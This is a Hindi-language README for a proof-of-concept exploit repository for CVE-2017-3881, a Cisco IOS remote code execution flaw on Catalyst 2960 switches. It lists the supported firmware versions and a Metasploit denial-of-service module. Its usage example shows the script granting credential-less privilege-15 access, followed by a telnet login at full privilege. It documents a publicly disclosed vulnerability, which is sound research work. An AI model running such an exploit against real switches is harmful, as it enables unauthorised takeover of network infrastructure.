CVE-2017-3881 Cisco IOS रिमोट कोड निष्पादन

इस रिपॉजिटरी में Cisco Systems द्वारा 17 मार्च 2017 को खुलासा की गई रिमोट कोड निष्पादन भेद्यता का शोषण करने के लिए प्रूफ-ऑफ-कॉन्सेप्ट कोड शामिल है - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170317-cmp

विवरण

एक्सप्लॉइट राइट-अप यहाँ उपलब्ध है - https://artkond.com/2017/04/10/cisco-catalyst-remote-code-execution/

RCE एक्सप्लॉइट कोड Cisco Catalyst 2960 स्विच मॉडल के लिए उपलब्ध है। यह एक्सप्लॉइट फर्मवेयर पर निर्भर है। दो फर्मवेयर संस्करण समर्थित हैं:

• 12.2(55)SE1 C2960-LANBASEK9-M

• 12.2(55)SE11 C2960-LANBASEK9-M

डेनियल ऑफ सर्विस कोड एक metasploit ruby मॉड्यूल के रूप में उपलब्ध है। यह Cisco सलाहकार में उल्लिखित अधिकांश स्विचों के लिए काम करना चाहिए (पुष्टि की आवश्यकता है)।

उपयोग उदाहरण

$ python c2960-lanbasek9-m-12.2.55.se11 192.168.88.10 --set
[+] Connection OK
[+] Recieved bytes from telnet service: '\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18\xff\xfd\x1f'
[+] Sending cluster option
[+] Setting credless privilege 15 authentication
[+] All done
$ telnet 192.168.88.10
Trying 192.168.88.10...
Connected to 192.168.88.10.
Escape character is '^]'.

catalyst1#show priv
Current privilege level is 15

लेखक

Artem Kondratenko https://twitter.com/artkond